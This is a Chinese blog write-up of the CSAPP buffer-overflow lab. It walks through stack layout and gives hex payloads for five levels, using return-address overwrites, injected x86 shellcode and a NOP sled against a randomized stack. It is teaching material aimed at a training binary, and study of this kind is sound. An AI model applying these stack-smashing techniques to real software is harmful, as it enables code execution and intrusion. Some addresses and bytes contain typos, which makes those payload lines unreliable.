zoukankan      html  css  js  c++  java
  • 逆向工程——缓冲区溢出(CSAPP Project)

    信息 = 位 + 上下文

    CSAPP的开篇就明确地强调了这一点,而这次的缓冲区溢出的实验将这句话发挥到了极致。(实验文件见这里

    举个例子:菜刀可以用来切菜,也可以用来砍人。对于厨师菜刀就是切菜工具,对于罪犯就是杀人工具。这里的菜刀就是位,菜刀还是那把菜刀,但上下文(厨师、罪犯)不同了,那么信息(切菜、砍人)也就不同了。断章取义的理解一样事物必然不能看到全貌。

    那么放在计算机里的解释就是:一坨01的数据,你可以把它解释成整型、浮点、字符、指令、寄存器。数据还是那些数据,就看你的上下文(解释器、解释方法、组织方法)了,不同的解释结果是南辕北辙的。

      

      

    ===============level 0=============

    知识点:rtn addr

    stack

    要想理解栈的机制,这张图是关键。可以看到Frame Pointer(%ebp)中存的是上层函数的%ebp,而其上方就是return address,即当前函数返回到上层函数的地址。这个也就解这题的关键了,也是缓冲区溢出攻击的基石。return address就像是盗梦空间的n层和n+1层的入口,万一没改好就迷失在意识边缘了。

    题目简要描述如下:

    首先主程序会调用test函数

       1:  void test()
       2:  {
       3:      int val;
       4:      volatile int local = 0xdeadbeef;
       5:      entry_check(3); /* Make sure entered this function properly */
       6:      val = getbuf();
       7:      /* Check for corrupted stack */
       8:       if (local != 0xdeadbeef) {
       9:           printf("Sabotaged!: the stack has been corrupted\n");
      10:       }
      11:       else if (val == cookie) {
      12:           printf("Boom!: getbuf returned 0x%x\n", val);
      13:           validate(3);
      14:       }
      15:       else {
      16:           printf("Dud: getbuf returned 0x%x\n", val);
      17:       }
      18:   }
      
    其中getbuf函数如下:
       1:  int getbuf()
       2:  {
       3:       char buf[12];
       4:       Gets(buf);
       5:       return 1;
       6:  }
      
    可以看到buf[12]就是一个可以利用的缓冲区,目标:覆盖掉buf之后的rtn addr。

    另外有一个smoke函数

       1:  void smoke()
       2:  {
       3:   
       4:      entry_check(0); /* Make sure entered this function properly */
       5:   
       6:      printf("Smoke!: You called smoke()\n");
       7:   
       8:      validate(0);
       9:   
      10:      exit(0);
      11:   
      12:  }

    此函数一般情况是不会调用的,但如何去让test调用它就是要解决的问题。有了rtn addr在栈中的组织方式就能很容易的想到把smoke的地址放到getbuf的返回地址中就能调用smoke了。

    通过反汇编,然后查看getbuf的代码,注意到这段:

       1:  lea -0x18(%ebp), %eax
       2:   
       3:  mov %eax, (%esp)
       4:   
       5:  call 80489c0<Gets>

    可以看到lea把buf的指针地址(-0x18(%ebp))传给了Gets(),也就是buf距离rtn addr有0x18 + 4(%ebp的字节数)=0x1c(28)个字节的距离,于是只要在buf开始处随便填入28字节,并在rtn addr中填入smoke的地址就行了。

    代码如下(相邻两个空格隔开一个字节,括号中为注释,为方便便阅读进行了换行):

       1:  30 30 30 30 30 30 30 30 30 30 
       2:  30 30 30 30 30 30 30 30 30 30 
       3:  30 30 30 30 
       4:  30 30 30 30 ($ebp) 
       5:  b0 8e 04 08 (rtn addr) 

    最后可以画出这样一个栈图:

    stack_level0

    从图中可以看到buf溢出到了rtn addr保存的地址,并改写为smoke()的地址。于是乎,getbuf()返回时就运行到了smoke()处。

      

      

    ===============level 1=============

    知识点:函数的参数

    Level1在level0的基础上需要给一个fizz的函数传参数,以此能让其运行if (val == cookie)分支。

       1:  void fizz(int val) 
       2:   
       3:  { 
       4:   
       5:      entry_check(1); /* Make sure entered this function properly */ 
       6:   
       7:      if (val == cookie) { 
       8:   
       9:          printf("Fizz!: You called fizz(0x%x)\n", val); 
      10:   
      11:          validate(1); 
      12:   
      13:      } else 
      14:   
      15:          printf("Misfire: You called fizz(0x%x)\n", val); 
      16:   
      17:      exit(0); 
      18:   
      19:  } 

      

    这里先把cookie变量中的值给找出来,这个用gdb就行了,问题在于val的值怎么给它传进去。其实,仔细想想也不难,根据函数在栈中的调用方式,第一个参数不就在0x8(%ebp)嘛,那0x8(%ebp)在哪呢?查看fizz的反汇编可以看到函数一般在最开始这样做:

       1:  push %ebp 
       2:   
       3:  mov %esp, %ebp 

    也就是说,%ebp是什么不重要,重要的是%esp是什么。回想一下getbuf()返回时做了什么很有好处。它把rtn addr弹出来了,那么最后%esp就成了rtn addr所在内存的上一个地址。而当push %ebp时,%esp又压入一个,于是它又变成了rtn addr所在的地址。那么0x8(%ebp)就是rtn addr所在内存的上两个地址。得到如下的stack图:

      stack_level1

    代码应该很容易写出了。

      

    ===============level 2=============

    计算机是什么?计算机就是一坨线。

    Level2要求test运行后能调用bang函数,并在bang中运行if(global_value ==cookie)分支。

    bang函数:

       1:  int global_value = 0; 
       2:   
       3:  void bang(int val) 
       4:   
       5:  { 
       6:   
       7:      entry_check(2); /* Make sure entered this function properly */ 
       8:   
       9:      if (global_value == cookie) { 
      10:   
      11:          printf("Bang!: You set global_value to 0x%x\n", global_value); 
      12:   
      13:          validate(2); 
      14:   
      15:      } else 
      16:   
      17:          printf("Misfire: global_value = 0x%x\n", global_value); 
      18:   
      19:      exit(0); 
      20:   
      21:  } 

      

    这里的关键是要把global_value设置成cookie才行。可问题是单凭一个缓冲区怎么来设置一个全局变量。这就是信息=位+上下文的本质了,命令可以是数据,数据也可以是命令,一切就看你如何去解释了。栈里存的不一定是数据,也可以是命令。那么rtn addr返回的地址就是你输入到栈里的命令开始处,于是你看到了另一个世界,原来程序还可以这样运行。

    查看cookie中的值为0x603cc5ae,而global_value在内存0x804a1c4处。由于最后要跳转到bang,所以要在代码返回时给%esp一个返回bang的返回地址。代码如下:

       1:  movl $0x603cc5ae, %eax 
       2:   
       3:  movl %eax, 0x804a1c4 
       4:   
       5:  movl $0x0xbfffb6a0, %esp 
       6:   
       7:  ret 

      

    画出栈图如下:

      stack_level2

    最后输入的字符如下:

       1:  b8 ae c5 3c 60 (movl 0x603cc5ae, %eax) 
       2:   
       3:  a3 c4 a1 04 08 (movl %eax, 0x804a1c4) 
       4:   
       5:  bc a0 b6 ff bf (movl $0xbfffb6a0, %esp) 
       6:   
       7:  c3 (ret) 16bytes (0xbfffb69f) 
       8:   
       9:  10 8e 04 08 (0xbfffb6a0) 
      10:   
      11:  30 30 30 30 (0xbfffb6a4) 
      12:   
      13:  30 30 30 30 (0xbfffb6a8, %ebp) 
      14:   
      15:  90 b6 ff bf (rtn addr) 

      

    其实,这关所花的功夫远不止这些。代码是很早就想出来了,但一个诡异的问题是在gdb中运行正确,在shell中运行却始终报段错误。这个问题又没办法在gdb中还原,搞得快抓狂了,穷尽了各种方法,最后通过了一个机缘巧合地发现,原来栈在程序运行时的内存地址是不固定的,所以movl $0xbfffb6a0, %esp这句是十分依赖栈运行的情况的,由于rtn addr里填入的也是栈的指令区地址,所以根本没办法得出一个通用的指令。这次debug的过程异常的枯燥,几乎用了一个晚上一个下午。结论就是:缓冲区的攻击有时是十分依赖特定的机器、特定的运行情况、特定的编译器。总之,攻击的代码不是放诸四海皆准的。(P.S.在这之后看了level4中的一句话:Stack positions also differ when running a program under GDB, since GDB uses stack space for some of its own state. 晕厥了)

    ===============level 3=============

    这关需要运行if (val == cookie)分支,而运行此分支需要getbuf()返回值为cookie。经过了level3可以知道并不难,只要在栈中插入指令movl cookie, %eax,另外需要注意的是对于%ebp的还原问题,由于返回到test()函数时,程序会用到相对于%ebp的物理内存地址,所以在写字符串时应考虑到%ebp的原值不应覆盖。

    最后的代码如下:

       1:  b8 ae c5 3c 60 (movl $0x603cc5ae, %eax) 
       2:   
       3:  bc a0 b6 ff bf (movl $0xbfffb6a0, %esp) 
       4:   
       5:  c3 (ret) 
       6:   
       7:  30 30 30 30 30 (16 bytes, 0xbfffb69f) 
       8:   
       9:  b2 8d 04 08 (0xbfffb6a0) 
      10:   
      11:  30 30 30 30 (0xbfffb6a4) 
      12:   
      13:  c8 b6 ff bf (0xbfffb6a8, %ebp) 
      14:   
      15:  90 b6 ff bf (rtn addr) 

    ===============level 4=============

    题目和level3要完成的大致相同,而这题的栈是会浮动的,共需执行5次。

    这题最关键的一点是栈是变动的,而返回地址是一个绝对的物理地址,而我要执行攻击代码就必须知道确切的物理地址。但苦于栈地址的变动,根本无法确定出返回地址。想了各种方法:相对地址,跳转到%esp处等等。但最根本的原因是返回地址是一个绝对地址跳转,所以没有解决方案。最后,参考了http://www.cublog.cn/u3/103049/showart_2050918.html 终于释怀了。

    题设中有一句是我一直忽略的:The code that calls getbufn first allocates a random amount of storage on the stack (using library function alloca) that ranges between 0 and 127 bytes.

    而查看getbufn()函数:

       1:  int getbufn() 
       2:   
       3:  { 
       4:   
       5:      char buf[512]; 
       6:   
       7:      Gets(buf); 
       8:   
       9:      return 1; 
      10:   
      11:  } 
      
      

    可得知buf的缓冲区为512字节,127 * 2= 514,隐约可以感觉出这其中的微妙性。

    不妨先做个实验,由于相同的攻击代码要执行5次,栈的地址也可能变换5次,所以对关键的%ebp寄存器进行采样,得出了三个不同的%ebp值:

       stack_level4_2

    根据三个%ebp的采样和“ranges between 0 and 127 bytes”这句话,可以得出高地址的%ebp极限情况(highest %ebp)和低地址%ebp的极限情况(lowest %ebp)。

    再来想一想攻击代码该怎么写,其实和level3也差不多,不同的是由于每次%ebp的值可能是不同的,所以还原%ebp得想一个比较tricky的方法。这时可能会想到相对地址,于是又想到其实每次old %ebp – new %ebp = 常数。而这个常数是多少呢,gdb一下,得出0x20。但由于当我们的攻击代码运行时new %ebp的值已被覆盖,所以要另想一个办法间接地得出new %ebp。于是,想到当函数返回时,%esp = new %ebp + 8,得到:

    old %ebp – (%esp – 8)= 0x20

    old %ebp = %esp + 0x18

    接下来的就比较好办了:

       1:  8d 6c 24 18 68 (lea 0x18(%esp), %ebp) 
       2:   
       3:  42 8d 04 08 (pushl $0x8048d42,test()的返回地址) 
       4:   
       5:  b8 ae c5 3c 60 (movl $0x603cc5ae, %eax) 
       6:   
       7:  c3 (ret) 
       8:   
       9:  90 90 90 90 (%ebp) 
      10:   
      11:  ?? ?? ?? ?? (rtn addr) 

      

    最后的问题就剩下如何设置rtn addr。由于buf有512字节,必定有许多空余字节,所以根据题干的提示,在之前插入nop是个好办法。根据getbufn()中:

       1:  lea -0x208(%ebp), %eax 
       2:   
       3:  mov %eax, (%esp) 
       4:   
       5:  call 80489c0 <Gets> 

      

    得出buf起始处距离%ebp寄存器520字节。

    所以highest %ebp的buf段[0xbfffb4ef, 0xbffb6f7),

    lowest %ebp的buf段[0xbfffb421, 0xbfffb629)。

    取交集[0xbfffb4ef, 0xbfffb629),由于%ebp前攻击代码的字节数15字节。所以进一步缩小区间[0xbfffb4ef, 0xbfffb61a)。于是选0xbfffb529吧。

    最后的代码如下:

       1:  90 90 90 90 90 90 90 90 90 90 
       2:   
       3:  90 90 90 90 90 90 90 90 90 90 
       4:   
       5:  ……
       6:   
       7:  (505个nop(90)指令)
       8:   
       9:  ……
      10:   
      11:  90 90 90 90 90 90 90 90 90 90 
      12:   
      13:  8d 6c 24 18 68 
      14:   
      15:  42 8d 04 08 
      16:   
      17:  b8 ae c5 3c 60 
      18:   
      19:  c3 
      20:   
      21:  90 90 90 90 
      22:   
      23:  29 b5 ff bf 

      

    撒花啦!总算是完结篇了

    level4

     

  • 相关阅读:
    com,jsj,service,Impl====新闻发布系统(9)
    com.jsj.service=====新闻发布系统(8)
    com.jsj.filter====新闻发布系统(7)
    com.jsj.dao.Impl====新闻发布系统(6)
    com.jsj.utils===新闻发布系统(5)
    最长公共子序列模板(LCS)和LICS模板
    输入输出优化
    zstu-3769 数回文子串
    最长回文子串Manacher算法模板
    HOJ 2678 Stars
  • 原文地址:https://www.cnblogs.com/chkkch/p/2076773.html
Copyright © 2011-2022 走看看